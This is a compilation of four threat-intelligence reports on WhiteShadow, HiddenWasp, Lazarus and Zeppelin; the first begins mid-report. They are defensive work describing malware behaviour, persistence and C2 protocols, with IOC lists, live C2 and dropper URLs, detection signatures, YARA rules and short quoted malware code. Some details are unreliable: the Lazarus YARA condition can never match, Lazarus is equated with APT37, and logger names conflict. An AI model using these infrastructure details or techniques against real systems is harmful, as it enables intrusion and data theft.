- **cscreen**: Captures a JPEG format screenshot of the infected machine and sends it to the C&C using the C&C response command: `capScreen`
- **getavs**: Similar to the previously documented 'procl' command; it creates a concatenated string of processes with a format similar to: `>%process-id%>%process_module_name%><` for each process running on the system, enumerated via: `Process[] processes = Process.GetProcesses();`
- **putsrt**: The input to this function is a string and it compares the string to the current running process executable path. If that path is different, it 'moves' the executable via: `File.WriteAllBytes(text, File.ReadAllBytes(executablePath));` It will then install the modified path into the common ‘CurrentVersion AutoRun’ registry key: `SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run`
The remaining non-Crimson samples appeared to be largely the same as those currently documented and observed in the current threat landscape.
## Conclusion
Although not a new development, the use of MSSQL queries to retrieve next-stage payloads is unusual in the wild. In late August 2019, Proofpoint researchers encountered a new staged downloader which uses this uncommon method and named it “WhiteShadow.” More importantly, this appears to be a new malware delivery service, allowing a range of threat actors to potentially incorporate the downloader and associated Microsoft SQL Server infrastructure into their attacks. We have observed actors using WhiteShadow to install RATs, downloaders, and keyloggers including Agent Tesla, AZORult, Crimson, and others. Organizations need to be cognizant of both the incoming malicious email and outbound traffic on TCP port 1433 which should be blocked or at least restricted on modern ACL configurations in firewalls today. Currently, these campaigns are relatively small, with message volumes in the hundreds and thousands, but we will continue to monitor associated trends.
## Indicators of Compromise (IOCs)
| IOC | IOC Type | Description |
|-------------------------------------------------------------------------------------------|---------------|----------------------------|
| antinio.mssql.somee[.]com | hostname | Dropper Next Stage |
| bytesdata.mssql.somee[.]com | hostname | Dropper Next Stage |
| fabancho.mssql.somee[.]com | hostname | Dropper Next Stage |
| 2cf21ddd9d369a2c88238606c5f84661cf0f62054e5cc44d65679834b166a931 | SHA256 | WhiteShadow Maldoc |
| 95dbabe512ba4fc45e32786e87c292fb665e18bc0e2fea1cadb43ba1fe93f13b | SHA256 | WhiteShadow Maldoc |
| 539087ebb1d42c81c3be48705d153d75df550c047cf1056721f68724b78b73b7 | SHA256 | WhiteShadow Maldoc |
| 67d0347b8db05a7115d89507394760f41419e5e91ab88be50e27eded28ce503e | SHA256 | WhiteShadow Maldoc |
| 7b672eb80041a04f49198b1b51bcf0198321a1bdc1f7c56434c2320edb53fc43 | SHA256 | WhiteShadow Maldoc |
| 0c1623662a7ad222ed753b9ffc0d85912e3a075c348b752b671a0b1c755fd1e7 | SHA256 | Crimson |
| 193.111.155[.]137 | IPv4 | Crimson C&C |
| 51.254.228[.]144 | IPv4 | Nanocore C&C |
| 64c5d3f729d9a1ec26d5686002ccb0111ee9ba6a6a8e7da6ad31251f5d5dde6a | SHA256 | Agent Tesla |
| 76e0104aa6c3a0cfc25c6f844edbbeed4e934e2ad21a56e8243f604f510cf723 | SHA256 | njRAT |
| 139.28.36[.]212 | IPv4 | njRAT C&C |
| 0df01a9e8ad097d6c2b48515497f12bfe9aaa29a3b1c509a0ae1e2a12a162f04 | SHA256 | Nanocore |
| d2158cfd1bb9116a04dcb919fa35402d64b9e9b39a9c6cd57460ca113cde488e | SHA256 | Orion Logger |
| 0943a968cc9e00f83c0bb44685c67890c59ad7785db7fc12e9a0de8df309cbfa | SHA256 | Crimson |
## ET and ETPRO Suricata/Snort Signatures
- 2013410 ET POLICY Outbound MSSQL Connection to Standard port (1433)
- 2814263 ETPRO TROJAN MSIL/Crimson C&C Server Command (info)
- 2832108 ETPRO TROJAN MSIL/Crimson Client Command (info)
- 2832107 ETPRO TROJAN MSIL/Crimson Receiving Command (getavs)
- 2816280 ETPRO TROJAN MSIL/Crimson Receiving Command (ping)
- 2815463 ETPRO TROJAN Win32/Megalodon/AgentTesla Conn Check
- 2837782 ETPRO TROJAN Win32/Origin Logger SMTP Exfil
- 2816766 ETPRO TROJAN NanoCore RAT C&C 7
- 2810290 ETPRO TROJAN NanoCore RAT Keepalive Response 1
- 2829000 ETPRO TROJAN FormBook C&C Checkin (GET)
- 2829004 ETPRO TROJAN FormBook C&C Checkin (POST) |
# HiddenWasp Malware Stings Targeted Linux Systems
**Overview**
- Intezer has discovered a new, sophisticated malware that we have named “HiddenWasp”, targeting Linux systems.
- The malware is still active and has a zero-detection rate in all major anti-virus systems.
- Unlike common Linux malware, HiddenWasp is not focused on crypto-mining or DDoS activity. It is a trojan purely used for targeted remote control.
- Evidence shows in high probability that the malware is used in targeted attacks for victims who are already under the attacker’s control or have gone through heavy reconnaissance.
- HiddenWasp authors have adopted a large amount of code from various publicly available open-source malware, such as Mirai and the Azazel rootkit. In addition, there are some similarities between this malware and other Chinese malware families; however, the attribution is made with low confidence.
- We have detailed our recommendations for preventing and responding to this threat.
## 1. Introduction
Although the Linux threat ecosystem is crowded with IoT DDoS botnets and crypto-mining malware, it is not very common to spot trojans or backdoors in the wild. Unlike Windows malware, Linux malware authors do not seem to invest too much effort writing their implants. In an open-source ecosystem, there is a high ratio of publicly available code that can be copied and adapted by attackers.
In addition, Anti-Virus solutions for Linux tend to not be as resilient as in other platforms. Therefore, threat actors targeting Linux systems are less concerned about implementing excessive evasion techniques since even when reusing extensive amounts of code, threats can relatively manage to stay under the radar.
Nevertheless, malware with strong evasion techniques does exist for the Linux platform. There is also a high ratio of publicly available open-source malware that utilizes strong evasion techniques and can be easily adapted by attackers. We believe this fact is alarming for the security community since many implants today have very low detection rates, making these threats difficult to detect and respond to.
We have discovered further undetected Linux malware that appears to be enforcing advanced evasion techniques with the use of rootkits to leverage trojan-based implants. In this blog, we will present a technical analysis of each of the different components that this new malware, HiddenWasp, is composed of. We will also highlight interesting code-reuse connections that we have observed to several open-source malware.
## 2. Technical Analysis
When we came across these samples, we noticed that the majority of their code was unique. Similar to the recent Winnti Linux variants reported by Chronicle, the infrastructure of this malware is composed of a user-mode rootkit, a trojan, and an initial deployment script. We will cover each of the three components in this post, analyzing them and their interactions with one another.
### 2.1 Initial Deployment Script
When we spotted these undetected files in VirusTotal, it seemed that among the uploaded artifacts there was a bash script along with a trojan implant binary. We observed that these files were uploaded to VirusTotal using a path containing the name of a Chinese-based forensics company known as Shen Zhou Wang Yun Information Technology Co., Ltd. Furthermore, the malware implants seem to be hosted on servers from a physical server hosting company known as ThinkDream located in Hong Kong.
Among the uploaded files, we observed that one of the files was a bash script meant to deploy the malware itself into a given compromised system, although it appears to be for testing purposes. Thanks to this file, we were able to download further artifacts not present in VirusTotal related to this campaign. This script will start by defining a set of variables that would be used throughout the script.
Among these variables, we can spot the credentials of a user named ‘sftp’, including its hardcoded password. This user seems to be created as a means to provide initial persistence to the compromised system. Furthermore, after the system’s user account has been created, the script proceeds to clean the system as a means to update older variants if the system was already compromised.
The script will then proceed to download a tar compressed archive from a download server according to the architecture of the compromised system. This tarball will contain all of the components from the malware, containing the rootkit, the trojan, and an initial deployment script.
After malware components have been installed, the script will then proceed to execute the trojan. We can see that the main trojan binary is executed, the rootkit is added to the LD_PRELOAD path, and another series of environment variables are set such as the ‘I_AM_HIDDEN’. We will cover throughout this post what the role of this environment variable is. To finalize, the script attempts to install reboot persistence for the trojan binary by adding it to /etc/rc.local.
Within this script, we were able to observe that the main implants were downloaded in the form of tarballs. As previously mentioned, each tarball contains the main trojan, the rootkit, and a deployment script for x86 and x86_64 builds accordingly. The deployment script has interesting insights into further features that the malware implements, such as the introduction of a new environment variable ‘HIDE_THIS_SHELL’.
We found some of the environment variables used in an open-source rootkit known as Azazel. It seems that this actor changed the default environment variable from Azazel, that one being HIDE_THIS_SHELL for I_AM_HIDDEN. We have based this conclusion on the fact that the environment variable HIDE_THIS_SHELL was not used throughout the rest of the components of the malware and it seems to be residual remains from Azazel original code. The majority of the code from the rootkit implants involved in this malware infrastructure are noticeably different from the original Azazel project. Winnti Linux variants are also known to have reused code from this open-source project.
### 2.2 The Rootkit
The rootkit is a user-space based rootkit enforced via the LD_PRELOAD Linux mechanism. It is delivered in the form of an ET_DYN stripped ELF binary. This shared object has a DT_INIT dynamic entry. The value held by this entry is an address that will be executed once the shared object gets loaded by a given process.
Within this function, we can see that eventually control flow falls into a function in charge of resolving a set of dynamic imports, which are the functions it will later hook, alongside with decoding a series of strings needed for the rootkit operations. We can see that for each string it allocates a new dynamic buffer, it copies the string to it to then decode it. It seems that the implementation for dynamic import resolution slightly varies in comparison to the one used in the Azazel rootkit.
When we wrote the script to simulate the cipher that implements the string decoding function, we observed the following algorithm. We recognized that a similar algorithm to the one above was used in the past by Mirai, implying that the authors behind this rootkit may have ported and modified some code from Mirai.
After the rootkit main object has been loaded into the address space of a given process and has decrypted its strings, it will export the functions that are intended to be hooked. We can see these exports to be the following. For every given export, the rootkit will hook and implement a specific operation accordingly, although they all have a similar layout. Before the original hooked function is called, it is checked whether the environment variable ‘I_AM_HIDDEN’ is set.
We can see an example of how the rootkit hooks the function fopen. We have observed that after checking whether the ‘I_AM_HIDDEN’ environment variable is set, it then runs a function to hide all the rootkits’ and trojans’ artifacts. In addition, specifically to the fopen function, it will also check whether the file to open is ‘/proc/net/tcp’ and if it is, it will attempt to hide the malware’s connection to the CNC by scanning every entry for the destination or source ports used to communicate with the CNC, in this case 61061. This is also the default port in the Azazel rootkit.
The rootkit primarily implements artifact hiding mechanisms as well as TCP connection hiding as previously mentioned. Overall functionality of the rootkit can be illustrated in the following diagram.
### 2.3 The Trojan
The trojan comes in the form of a statically linked ELF binary linked with stdlibc++. We noticed that the trojan has code connections with ChinaZ’s Elknot implant in regards to some common MD5 implementation in one of the statically linked libraries it was linked with. In addition, we also see a high rate of shared strings with other known ChinaZ malware, reinforcing the possibility that actors behind HiddenWasp may have integrated and modified some MD5 implementation from Elknot that could have been shared in Chinese hacking forums.
When we analyze the main, we noticed that the first action the trojan takes is to retrieve its configuration. The malware configuration is appended at the end of the file and has the following structure. The malware will try to load itself from the disk and parse this blob to then retrieve the static encrypted configuration.
Once the encryption configuration has been successfully retrieved, the configuration will be decoded and then parsed as JSON. The cipher used to encode and decode the configuration is the following. This cipher seems to be an RC4-like algorithm with an already computed PRGA generated key-stream. It is important to note that this same cipher is used later on in the network communication protocol between trojan clients and their CNCs.
After the configuration is decoded, the following JSON will be retrieved. Moreover, if the file is running as root, the malware will attempt to change the default location of the dynamic linker’s LD_PRELOAD path. This location is usually at /etc/ld.so.preload; however, there is always a possibility to patch the dynamic linker binary to change this path.
The Patch_ld function will scan for any existent /lib paths. The scanned paths are the following: The malware will attempt to find the dynamic linker binary within these paths. The dynamic linker filename is usually prefixed with ld-<version number>.
Once the dynamic linker is located, the malware will find the offset where the /etc/ld.so.preload string is located within the binary and will overwrite it with the path of the new target preload path, that one being /sbin/.ifup-local. To achieve this patching, it will execute the following formatted string by using the xxd hex editor utility by previously having encoded the path of the rootkit in hex.
Once it has changed the default LD_PRELOAD path from the dynamic linker, it will deploy a thread to enforce that the rootkit is successfully installed using the new LD_PRELOAD path. In addition, the trojan will communicate with the rootkit via the environment variable ‘I_AM_HIDDEN’ to serialize the trojan’s session for the rootkit to apply evasion mechanisms on any other sessions.
After seeing the rootkit’s functionality, we can understand that the rootkit and trojan work together in order to help each other to remain persistent in the system, having the rootkit attempting to hide the trojan and the trojan enforcing the rootkit to remain operational. The following diagram illustrates this relationship.
Continuing with the execution flow of the trojan, a series of functions are executed to enforce evasion of some artifacts. These artifacts are the following: By performing some OSINT regarding these artifact names, we found that they belong to a Chinese open-source rootkit for Linux known as Adore-ng hosted on GitHub.
The fact that these artifacts are being searched for suggests that potentially targeted Linux systems by these implants may have already been compromised with some variant of this open-source rootkit as an additional artifact in this malware’s infrastructure. Although those paths are being searched for in order to hide their presence in the system, it is important to note that none of the analyzed artifacts related to this malware are installed in such paths. This finding may imply that the target systems this malware is aiming to intrude may be already known compromised targets by the same group or a third party that may be collaborating with the same end goal of this particular campaign.
Moreover, the trojan communicated with a simple network protocol over TCP. We can see that when a connection is established to the Master or Stand-By servers, there is a handshake mechanism involved in order to identify the client. With the help of this function, we were able to understand the structure of the communication protocol employed. We can illustrate the structure of this communication protocol by looking at a pcap of the initial handshake between the server and client.
We noticed while analyzing this protocol that the Reserved and Method fields are always constant, those being 0 and 1 accordingly. The cipher table offset represents the offset in the hardcoded key-stream that the encrypted payload was encoded with. The following is the fixed keystream this field makes reference to.
After decrypting the traffic and analyzing some of the network-related functions of the trojan, we noticed that the communication protocol is also implemented in JSON format. To show this, the following image is the decrypted handshake packets between the CNC and the trojan.
After the handshake is completed, the trojan will proceed to handle CNC requests. Depending on the given requests, the malware will perform different operations accordingly. An overview of the trojan’s functionalities performed by request handling is shown below.
## 3. Prevention and Response
**Prevention:** Block Command-and-Control IP addresses detailed in the IOCs section.
**Response:** We have provided a YARA rule intended to be run against in-memory artifacts in order to be able to detect these implants. In addition, in order to check if your system is infected, you can search for “ld.so” files — if any of the files do not contain the string ‘/etc/ld.so.preload’, your system may be compromised. This is because the trojan implant will attempt to patch instances of ld.so in order to enforce the LD_PRELOAD mechanism from arbitrary locations.
## 4. Summary
We analyzed every component of HiddenWasp explaining how the rootkit and trojan implants work in parallel with each other in order to enforce persistence in the system. We have also covered how the different components of HiddenWasp have adapted pieces of code from various open-source projects. Nevertheless, these implants managed to remain undetected.
Linux malware may introduce new challenges for the security community that we have not yet seen in other platforms. The fact that this malware manages to stay under the radar should be a wake-up call for the security industry to allocate greater efforts or resources to detect these threats. Linux malware will continue to become more complex over time and currently even common threats do not have high detection rates, while more sophisticated threats have even lower visibility.
## IOCs
- 103.206.123[.]13
- 103.206.122[.]245
- e9e2e84ed423bfc8e82eb434cede5c9568ab44e7af410a85e5d5eb24b1e622e3
- f321685342fa373c33eb9479176a086a1c56c90a1826a0aef3450809ffc01e5d
- d66bbbccd19587e67632585d0ac944e34e4d5fa2b9f3bb3f900f517c7bbf518b
- 0fe1248ecab199bee383cef69f2de77d33b269ad1664127b366a4e745b1199c8
- 2ea291aeb0905c31716fe5e39ff111724a3c461e3029830d2bfa77c1b3656fc0
- d596acc70426a16760a2b2cc78ca2cc65c5a23bb79316627c0b2e16489bf86c0
- 609bbf4ccc2cb0fcbe0d5891eea7d97a05a0b29431c468bf3badd83fc4414578
- 8e3b92e49447a67ed32b3afadbc24c51975ff22acbd0cf8090b078c0a4a7b53d
- f38ab11c28e944536e00ca14954df5f4d08c1222811fef49baded5009bbbc9a2
- 8914fd1cfade5059e626be90f18972ec963bbed75101c7fbf4a88a6da2bc671b
**Author:** Ignacio Sanmillan
Nacho is a security researcher specializing in reverse engineering and malware analysis. Nacho plays a key role in Intezer's malware hunting and investigation operations, analyzing and documenting new undetected threats. Some of his latest research involves detecting new Linux malware and finding links between different threat actors. Nacho is an adept ELF researcher, having written numerous papers and conducting projects implementing state-of-the-art obfuscation and anti-analysis techniques in the ELF file format. |
# Greetings from Lazarus
## Anatomy of a Cyber Espionage Campaign
**Date:** December 15, 2020
**Version:** 1.0
**Classified:** TLP-White
**Contact**
HvS-Consulting AG
Parkring 20
85748 Garching bei München
Germany
Phone: 089 / 890 63 62 – 0
Mail: [email protected]
---
## 1. Introduction and Overview
The incident response team of HvS-Consulting AG was recently involved in coordination, analysis, and remediation of multiple Advanced Persistent Threats (APT) against different European customers operating in the manufacturing and electrical industry. During incident response, it turned out that industries and products of the affected companies are related to each other and the observed Tactics, Techniques & Procedures (TTPs) and Indicators of Compromise (IOCs) can be attributed with high confidence to the APT group Lazarus.
In handling multiple Lazarus incidents in parallel, we have been able to accumulate further details of the threat actor’s behavior and the toolset of later phases of the Mitre ATT&CK framework. These details, which are described in this document, provide a comprehensive picture of the 2020 Lazarus campaign, extending existing reports with observed TTPs. Based on the unveiled and observed TTPs, it seems that the attacker’s objective is exfiltration of very selected information.
### 1.1 Background / Context
Based on the gained technical IOCs and derived TTPs from the different engagements, we assess with high confidence that those incidents were caused by the threat actor Lazarus/APT37. When comparing those IOCs with TTPs from public and private reports about the Lazarus Group, we detected huge overlaps, e.g., in re-use of command and control infrastructure as well as observed process commands and tools. German authorities share this assumption too. The Lazarus Group, also named G0032 by Mitre, and more specifically to the subgroup APT37 or G0067, is considered to belong to the North Korean government.
### 1.2 Attribution
Due to the number of analyzed incidents, HvS had the chance to compare the timelines and to draw conclusions. The results are shown in Figure 1, which contains the timelines of four different incidents. Please note that the exact dates are shifted a bit to guarantee anonymity; nevertheless, the flow of actions remains unchanged.
Between July 2019 and March 2020, there were only a few publications by security researchers about detected activities and new indicators from Lazarus, which now can be translated in “the calm before the storm.” Apparently, the group was busy preparing a new campaign.
### 1.3 Overall Timeline
In February 2020, interviews with various patient zero users of the incidents revealed that they all became victims of social engineering attacks. All of them were contacted via LinkedIn in the second half of February 2020. Only one victim in Asia directly received a malicious document. Although that client was compromised early, attackers did not use the C2 channel immediately. In all other cases, the attackers started individual conversations with the victims to build up confidence and trust. They later abused this trust to persuade victims into executing malicious documents on their system.
In May 2020, for incident #2, there is only a rough timeline available, but the actor had been active in May and was contained at the end of May. Within three days at the end of May, attackers delivered malicious documents and thus compromised the victim’s devices of incidents #3 and #4. Further, they started to actively use the C2 channel in incident #1. As in incident #1, they waited to use the C2 channel of incident #4.
In June 2020, in incident #3, attackers used the established access immediately for internal reconnaissance and shortly after for lateral movement to gain a better foothold. Subsequently, they searched for interesting information within the network and performed further lateral movement until the incident was successfully contained at the end of June.
In July 2020, only three days after containment of incident #3, the attackers started internal reconnaissance and lateral movement in incident #4. For some reason, the C2 channel used in incident #4 broke at the beginning of July and the actor lost access. Thus, they started over with social engineering against a victim on another continent and regained access to the network in mid-July. This quick execution of a “Plan B” shows that the attackers have been well prepared and did their research about the target organizations and selection of victims early in 2020.
Incident #1 was kind of special. Apparently, it was harder to gain a foothold in incident #1 due to the more restrictive network design. Hence, multiple lateral movement attempts from patient zero in Asia towards Europe were successfully contained by the victim until patient zero was identified at the end of July.
In August 2020, after regaining access on another continent, the attackers also re-accessed previously compromised systems from incident #4. Then they started internal reconnaissance, clearly intensified lateral movement, and searched for interesting information until in mid-August incident #4 was also successfully contained.
From September to October 2020, during that containment, one compromised client was isolated and kept running to monitor further activities. We discovered that the attackers verified the C2 connectivity monthly and renewed parts of the malware.
In November 2020, the attackers compromised a European subsidiary of the victim of incident #1 and started lateral movement again. Interestingly, we made the same observation as in incident #4, that the TTPs have changed after reinfection. To achieve better persistence, local accounts were created as described in section 2.2 and for lateral movement instead of Windows Management Instrumentation, Windows Services were used as shown in section 2.7. While in the first stage the compromise of systems was limited, after reinfection a clearly higher number of systems were compromised. Nevertheless, in both incidents, the attackers accessed previously compromised systems after their successful reinfection.
During the time of writing, spearphishing mails with job opportunities were still distributed to employees of the victims.
### 1.4 Further Lazarus Activities
While in the four described incidents attacker’s activity took place from May to August 2020, there is proof for further activity. In April, tweets regarding spearphishing attempts with fake job offers were published. They already contained the meanwhile well-known C2 domain www.anca-aste.it. Further reports about incidents in the USA and Israel, which were attributed to Lazarus, were published in June and August. So, it could be assumed that the actor’s activities took place in the previous months, where our timeline shows a gap. In November 2020, McAfee published a blog article which matches our observed TTP and reveals threat actor’s activity in Russia and India.
### 1.5 Conclusion
The analysis of the four incidents clearly shows that those actions are part of a very targeted and planned campaign. This campaign has access to vast resources, e.g., a complex C2 and data exfiltration infrastructure consisting of various compromised websites. Comparing the described activities of the Lazarus Group to various other analyzed incidents of groups like Chafer, Winnti, or OceanLotus, it attracted our attention that Lazarus made fewer mistakes. They performed the attacks straightforward with a clear objective and cleaned up their traces cautiously.
The observed toolset is very flexible, can replace C2 infrastructure on the fly, and runs completely in memory. Furthermore, the group showed mature capabilities for tunneling traffic and overjumping “air gaps,” respectively internet isolation of systems and networks.
The main lessons learned are:
1. Entry point is very often the user. The attackers use different communication media, like LinkedIn or WhatsApp and company mail. Companies should train their users to detect and prevent spear phishing attacks and provide a clear and easy-to-use reporting process.
2. Although the technical level of the attackers is quite advanced, basic protective measures like automatically updated URL block lists in the proxy help with early detection and slowing down of such attacks.
3. If you recognize similar TTPs or IOCs in your infrastructure, you should carry out very serious incident analysis before trying to contain the incident. Otherwise, evidence may be gone, and attackers still might have access to the network. As in the case of reinfection, the attackers reuse previously compromised assets. Hence, the usage of deception approaches (replacing compromised accounts and systems and monitoring the usage of the old ones) could help for detection.
4. Mature EDR solutions on all endpoints (clients and servers) are crucial to understand such attacks. Due to in-memory operation, only a few evidence is left on disks. The detail level of the forensic results, e.g., the grade of compromise and accessed information, strongly depends on the analyzable records. Thanks to the wide coverage of a sophisticated EDR solution in one of the incidents, we have been able to draw a very comprehensive picture. In one of the other incidents, many facts remain unclear because the customer had just a basic EDR in place. Without EDR, even the identification of compromised systems was quite hard.
---
## 2. Description of Observed TTPs
Following the most important observed techniques, tools, and practices and considerations which led to IOCs given in chapter 3 are explained and mapped to the Mitre ATT&CK framework.
### 2.1 Initial Access and Execution
**Spearphishing Attachment (T1566.001), User Execution: Malicious File (T1204.002)**
The threat actor obtained initial access in each of the compromised networks with the already described approach of social engineering and spearphishing attachments. Therefore, fake LinkedIn profiles for HR managers of well-known companies (e.g., Boeing or General Dynamics Land Systems) were created. The profiles looked genuine at first sight and even an online search for the profile names revealed real HR employees. First contact to obviously carefully selected victims – the number of known victims is the necessary minimum per incident – was established at the end of February until mid-March 2020. After introducing as HR manager with potential job opportunities, casual conversation took place, which at least in one case switched over to WhatsApp after some time.
End of May 2020, malicious Word documents were sent to the victims in Europe with different approaches, pretending to be a job description for a lucrative position at Boeing. The attachment makes use of different malicious Word documents or ISO files consisting of a decoy PDF bundled with a modified PDF viewer program. The documents download and persist a malicious DLL in the system. Further, the threat actor is extremely persuasive as well as sustained. In one case, the victim attempted to open a malicious Word document on his private notebook, which had only OpenOffice installed. As a reaction to his feedback that the file is not displayed correctly, the threat actor suggested sending the file to his company mail to open it with Microsoft Word. However, the attachment was blocked by a mail security platform. Therefore, the threat actor shared a decoy BoeingPDF.iso via WhatsApp and asked the victim to transfer the file from his cellphone via USB tethering to his company notebook. Furthermore, the attackers explained the victim step by step how to mount the ISO file and how to execute the contained exe file. To keep the story alive, the victim was contacted again after about one month with another job offer.
### 2.2 Persistence
**Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001)**
For persistence, two different DLL downloader variants were found:
- Variant a) used DLLs, which were manipulated versions of well-known DLLs like OpenSSL’s libeay32.dll or SQLite’s sqlite3.dll. This technique seems to be used more commonly as other researchers described it also.
- Variant b) corresponds to the iconcache.db DLLs described in US-CERT publication AR20-232A: The DLLs have the original filename MFC_DLL.dll and export a SMain function. The invocation is triggered with a SID looking number.
The threat actor's code is persisted via a harmless looking Windows lnk file (e.g., OneNote.lnk) in the Startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup) of the compromised user account. This tactic is also described by ClearSky Cyber Security and McAfee in their respective reports. It is assumed that all downloaders retrieve an encrypted version of the BLINDINGCAN / DRATzarus RAT.
### 2.3 Privilege Escalation
**Exploitation for Privilege Escalation (T1068)**
In one case, the threat actor used an Eternal Blue exploit (MS17-010, the vulnerability allowing the WannaCry breakout) to perform a privilege escalation on a remote Windows server. The exploit execution was invoked with a specific command. The exploit creates the local user tempAdmins in case of success with administrative permissions and a common password pattern.
### 2.4 Defense Evasion
**Indicator Removal on Host: File Deletion (T1070.004)**
The threat actor deleted his tools, text output, and exfiltration files with the Windows del command. Due to the delay between the threat actor’s activity and subsequent detection and analysis of the incident, this simple deletion was sufficient to remove most artifacts from the file system.
### 2.5 Credential Access
**OS Credential Dumping: LSASS Memory (T1003.001)**
For credential dumping, the threat actor used a custom encrypted Mimikatz which is decrypted in-memory via a small loader executable. The execution did use a specific command line call. As the threat actor failed on one occasion to delete the tool and the output files, the following information was identified: the loader program decrypts and loads Mimikatz from a specific file.
### 2.6 Discovery
**Account Discovery: Domain Account (T1087.002)**
The tool AdFind, renamed to a specific file path and UPX packed, was used to enumerate all organizational units, users, computers, and groups of the victims' Active Directory.
### 2.7 Lateral Movement
**Remote Services: SMB/Windows Admin Shares (T1021.002)**
The Windows Admin Shares were the threat actor’s primary technique for lateral movement. Frequent modus operandi included copying the malware onto a new remote machine and starting the malware on the remote machine.
### 2.8 Collection
**Archive Collected Data: Archive via Utility (T1560.001)**
The attackers used WinRar to pack data into encrypted archives. Often archiving was directly performed on the system holding the data itself. After the packing procedure, the archive was copied to a compromised client and then exfiltrated from there.
### 2.9 Command and Control
**Application Layer Protocol: Web Protocols (T1071.001)**
The attacker’s procedure for hosting their C2 servers is compromising legit websites via publicly known vulnerabilities and then adding their C2 endpoints on these webservers without interfering with the usual behavior of the legit website. The communication is then performed via HTTP and HTTPS.
### 2.10 Exfiltration
**Exfiltration Over Alternative Protocol (T1048)**
For the exfiltration of data, the attackers also used legit websites which have been compromised in advance. The upload of the data from the victim network to the websites was performed via HTTP and HTTPS. From there, the Tor network was used to access the uploaded data and to download the data.
### 2.11 Impact
No direct impact of the attackers could be observed. This fact supports the assumption that the only objective was the gathering of valuable data and their successful exfiltration. Beyond that, the attackers had no interest in further impacting the victims.
---
## 3. Appendix: Observed IOCs
For better accessibility, we published the following IOCs on our GitHub repository. Note that the threat actor hardly reused binaries with identical hashes across different machines. Therefore, the focus in incident detection should be C2 addresses, process execution command lines, and used file name schemas.
### 3.1 Filenames, Hashes and Process Execution
The following table lists observed file names and gives known background information to the files. Hashes and process execution details can be found in the respective CSV file on GitHub.
| Id | File | Comment |
|----|------|---------|
| 1 | C:\ProgramData\IBM\IBM.dat | Adfind |
| 2 | C:\ProgramData\Kagent.exe | Adfind |
| 3 | bnotices.php | b347k web shell on C2 |
| ... | ... | ... |
### 3.2 Regex Patterns for Filename Signatures
During the investigation, the following regex patterns were used for IOC scans. Please note that those patterns are also often used by software distribution tools.
- `\\~DF[A-Fa-f0-9]{3,4}\.(tmp|TMP|dat|DAT|txt|TXT|bat|BAT|bin|BIN)$`
- `\\~TMP[0-9]{3,3}\.(dat|DAT|bin|BIN)$`
- `\\CMP[A-Fa-f0-9]{3,4}\.(tmp|TMP|dat|DAT|bat|BAT|bin|BIN)$`
### 3.3 Command & Control Domains
All given Command & Control Domains can also be found on GitHub. Most of the given C2 Domains are legit websites, which were hacked and abused by the Lazarus group.
- Dropper: `https://www.anca-aste.it/uploads/form/02E319AF73A33547343B71D5CB1064BC.dotm`
- Persistence DLL: `http://support.medicalinthecloud.com/TechCenter/include/slide.asp`
- RAT component: `http://125.206.177.152/old/viewer.php`
- Exfiltration: `https://www.gonnelli.it/uploads/catalogo/thumbs/thumb.asp`
### 3.4 YARA Rules
All following YARA rules were tested and did not lead to too many false positives. Rules with the above shown filename patterns helped for detection in some cases but sometimes caused too many false positives.
```yara
rule HvS_APT37_smb_scanner {
meta:
description = "Unknown smb login scanner used by APT37"
license = "https://creativecommons.org/licenses/by-nc/4.0/"
author = "Marc Stroebel"
date = "2020-12-15"
strings:
$s1 = "Scan.exe StartIP EndIP ThreadCount logfilePath [Username Password Deep]" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 200KB and (10 of them)
}
```
---
This document provides a comprehensive overview of the Lazarus campaign, detailing the observed TTPs, the timeline of incidents, and the implications for organizations facing similar threats. |
# Zeppelin: Russian Ransomware Targets High Profile Users in the U.S. and Europe
## Introduction
Zeppelin is the newest member of the Delphi-based Ransomware-as-a-Service (RaaS) family initially known as Vega or VegaLocker. Although it's clearly based on the same code and shares most of its features with its predecessors, the campaign that it's been part of differs significantly from campaigns involving the previous versions of this malware. Vega samples were first discovered in the beginning of 2019, being distributed alongside other widespread financial malware as part of a malvertising operation on Yandex.Direct - a Russian online advertising network. This campaign was aimed at Russian speaking users (with apparent focus on the people working in accounting) and was designed to have a broad reach, as opposed to careful targeting. The binaries were often signed with a valid certificate and hosted on GitHub. During a course of this year, several new versions of Vega appeared, each bearing a different name (Jamper, Storm, Buran, etc.), some of them offered as a service on underground forums.
The recent campaign that utilizes the newest variant, Zeppelin, is visibly distinct. The first samples of Zeppelin - with compilation timestamps no earlier than November 6, 2019 - were discovered targeting a handful of carefully chosen tech and healthcare companies in Europe and the U.S. In stark opposition to the Vega campaign, all Zeppelin binaries (as well as some newer Buran samples) are designed to quit if running on machines that are based in Russia and some other ex-USSR countries.
Zeppelin appears to be highly configurable and can be deployed as an EXE, DLL, or wrapped in a PowerShell loader. The samples are hosted on water-holed websites and, in the case of PowerShell, on Pastebin. There are reasons to believe at least some of the attacks were conducted through MSSPs, which would bear similarities to another recent highly targeted campaign that used a ransomware called Sodinokibi. The major shift in targeting from Russian-speaking to Western countries, as well as differences in victim selection and malware deployment methods, suggest that this new variant of Vega ransomware ended up in the hands of different threat actors - either used by them as a service, or redeveloped from bought/stolen/leaked sources.
## Obfuscation
All sensitive strings in Zeppelin binaries are obfuscated with a different pseudo-random 32-byte RC4 key, prepended to each encrypted string. The string obfuscation acts as a crude polymorphism mechanism, as each generated sample will use different RC4 keys. It also helps Zeppelin evade detection and complicates analysis. Although the majority of samples are not packed, BlackBerry Cylance researchers have come across Zeppelin executables protected by attackers using additional polymorphic obfuscation software.
In these cases, the Zeppelin executables were wrapped in three layers of obfuscation:
1. Code of varying size using a set of random APIs (often associated with benign software) and several stalling loops to deceive heuristic mechanisms and outrun sandboxes.
2. First stage shellcode, encoded with simple XOR using a static 1-byte key derived from a hardcoded DWORD value. This shellcode decodes the payload binary, together with its loader, using 1-byte XOR, but this time the key is mutated for each decryption round.
3. Second stage shellcode which injects the payload binary into memory and executes it.
## Configuration
The ransomware appears to have the following Boolean options:
| ID | Name | Description |
|----|---------------|-------------|
| 1 | (none) | Run as DLL: one instance encrypting all drives and shares (as opposed to EXE); incompatible with “Startup” option. |
| 2 | IP Logger | Use IPLogger service (iplogger[.]ru or iplogger[.]org) to track victim’s IP address and country code. |
| 3 | Startup | Copy itself to another location, set persistence, launch with “-start” parameter. |
| 4 | Delete | Execute specified commands; used to stop certain services, disable backups, delete backups and shadow copies, etc. |
| 5 | Task-killer | Kill specified processes. |
